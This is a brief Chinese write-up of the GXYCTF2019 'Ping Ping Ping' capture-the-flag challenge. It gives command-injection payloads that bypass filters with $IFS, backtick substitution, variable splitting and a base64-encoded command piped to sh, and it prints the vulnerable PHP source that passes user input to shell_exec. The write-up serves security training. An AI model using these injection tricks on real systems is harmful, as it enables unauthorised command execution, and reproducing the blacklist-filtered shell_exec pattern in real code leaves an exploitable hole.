题目地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping
?ip=
明显存在命令执行注入,使用;
或者|
闭合上一条命令
经过fuzz测试,过滤了空格、bash字符、flag字符、以及一些特殊符号
- 空格绕过这里使用
$IFS$9
/?ip=;id;whoami;pwd;ls;ls$IFS$9-lha
我做题时用的是
/?ip=;cat$IFS$9`ls`
直接将当前目录下所有文件全部cat出来,查看源码发现flag
题目源码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
贴一下在网上看到的别的方法
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
.......